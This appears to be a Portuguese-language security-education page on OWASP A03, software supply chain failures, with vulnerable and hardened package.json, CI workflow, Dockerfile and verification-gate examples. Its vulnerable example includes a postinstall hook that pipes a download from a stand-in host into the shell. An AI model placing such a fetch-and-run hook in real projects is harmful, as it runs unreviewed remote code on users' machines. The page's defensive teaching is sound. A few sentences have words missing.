A03 Software Supply Chain Failures

Sua aplicação é feita, em sua maior parte, de código de outras pessoas. Uma biblioteca vulnerável, um pacote malicioso ou uma etapa de build adulterada chega à produção com o seu nome.

npm audit / pip-auditOSV-ScannerDependabot / RenovateSyft + GrypeSigstore cosignOpenSSF Scorecard

O que é

Uma falha na cadeia de suprimentos é uma quebra em qualquer ponto da cadeia que entrega software: as dependências que você baixa, o registry de onde as baixa, o sistema de build, os plugins de CI, a imagem base do contêiner e a forma como os artefatos são assinados e implantados.

O :2025 a lista como A03, ampliando a antiga categoria sobre componentes vulneráveis e desatualizados para cobrir a cadeia inteira, incluindo pacotes maliciosos e pipelines comprometidos.

Como o ataque funciona

Versão com vulnerabilidade conhecida: uma biblioteca com público permanece no lockfile por anos.
Typosquatting e : um pacote com nome quase idêntico ou com cara de interno é instalado no lugar do verdadeiro.
Mantenedor ou pacote comprometido: um pacote legítimo publica uma atualização maliciosa, muitas vezes com um script de instalação.
Pipeline envenenado: uma action de CI ou um script de build é alterado, ou fixado em uma tag mutável, e executa código do atacante com os seus segredos.
Artefatos não verificados: nada prova que o que roda em produção é o que foi construído a partir do código-fonte revisado.

Configuração vulnerável

Versões sem fixar, uma tag mutável de action de CI e instalação direta a partir de uma URL arbitrária.

package.jsonjson

{
  "dependencies": {
    "left-pad": "*",
    "internal-utils": "latest"
  },
  "scripts": {
    "postinstall": "curl -s https://example.sh/setup | sh"
  }
}

.github/workflows/build.ymlyaml

steps:
  - uses: some-org/build-action@main        # ref mutável: muda debaixo de você
  - run: pip install -r requirements.txt     # sem hashes, sem lockfile
  - run: docker build -t app .               # FROM python:latest

A correção

Saiba o que você entrega (uma lista de materiais de software), trave exatamente o que instala, verifique de onde vem e torne o próprio pipeline confiável. Fixe por identificadores imutáveis (SHA de commit, digest de imagem, hash de conteúdo) e escaneie a cada mudança e em intervalos regulares, porque novos CVEs surgem para código antigo.

instalar de forma determinísticabash

# Node: instale exatamente o que o lockfile diz, sem scripts de instalação das dependências
npm ci --ignore-scripts

# Python: exija hashes
pip install --require-hashes -r requirements.txt   # gerado por pip-compile --generate-hashes

.github/workflows/build.ymlyaml

permissions:
  contents: read
steps:
  - uses: some-org/build-action@3f2a1c9d4e5b6a7c8d9e0f1a2b3c4d5e6f708192   # SHA de commit completo
  - run: pip install --require-hashes -r requirements.txt
  - run: |
      syft . -o cyclonedx-json > sbom.json
      grype sbom:sbom.json --fail-on high

Dockerfiledockerfile

FROM python:3.12-slim@sha256:<digest-you-reviewed>
COPY requirements.txt .
RUN pip install --require-hashes -r requirements.txt

Prove a correção

Faça o pipeline falhar quando a cadeia enfraquecer: uma dependência vulnerável, uma referência sem fixar ou um artefato sem assinatura. Essas verificações funcionam igual para qualquer linguagem porque leem o lockfile, o e os arquivos de workflow.

supply-chain-gate.shbash

set -e
# dependências vulneráveis (qualquer ecossistema com lockfile)
osv-scanner --lockfile=package-lock.json --lockfile=requirements.txt

# nenhuma action de workflow pode usar uma ref mutável
if grep -RInE 'uses: [^@]+@(main|master|latest|v[0-9]+)$' .github/workflows; then
  echo 'pin actions to a commit SHA'; exit 1
fi

# o artefato deve estar assinado pela identidade do nosso pipeline
cosign verify --certificate-identity-regexp 'https://github.com/example/app/.*' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  registry.example.com/app@$DIGEST

Checklist

Mantenha um SBOM para cada release e saiba quais serviços usam quais versões.
Faça commit dos lockfiles; instale a partir deles; revise mudanças de dependências em pull requests.
Prefira poucas dependências mantidas; remova o que não usa mais.
Defina um escopo ou namespace de registry privado para pacotes internos para impedir o dependency confusion.
Fixe actions de CI e imagens base em identificadores imutáveis; dê ao CI o mínimo privilégio de que precisa.
Assine os artefatos e verifique a assinatura antes do deploy.
Escaneie continuamente: o build limpo de ontem pode ter um CVE hoje.

OWASP Top 10A lista de referência mais famosa de riscos de segurança em aplicações web (A01 acesso quebrado, A02 falhas criptográficas, A03 injeção...), revisada a cada alguns anos pela comunidade OWASP. É um mapa educacional de categorias de risco — não um checklist de ferramenta nem uma certificação.ver no glossário →CVEcommon vulnerabilities and exposuresO identificador único de UMA vulnerabilidade pública específica, no formato CVE-ANO-NÚMERO. Ex.: CVE-2021-44228 é o Log4Shell. É a instância real, não a classe do problema.ver no glossário →Dependency confusionEnganar um build para baixar um pacote público com o mesmo nome de um interno. Use nomes com escopo e um registry privado que tenha prioridade.ver no glossário →SBOMA lista de ingredientes do software: dependências, versões, licenças e hashes, em formato padrão.ver no glossário →

conexões no mapa

A03 Software Supply Chain Failuresé barrado ao verificarA08 Software or Data Integrity Failures
A02 Security Misconfigurationinclui o pipeline deA03 Software Supply Chain Failures

atualizado em 14/10/2026 · fontes para aprofundar · reportar erro

em outros domínios

Risco de terceiros e da cadeia de suprimentosgrco risco de fornecedor, visto como código de terceiros
SCAappsecé o que a análise de composição verifica
SBOMappseco inventário que responde "estamos afetados?"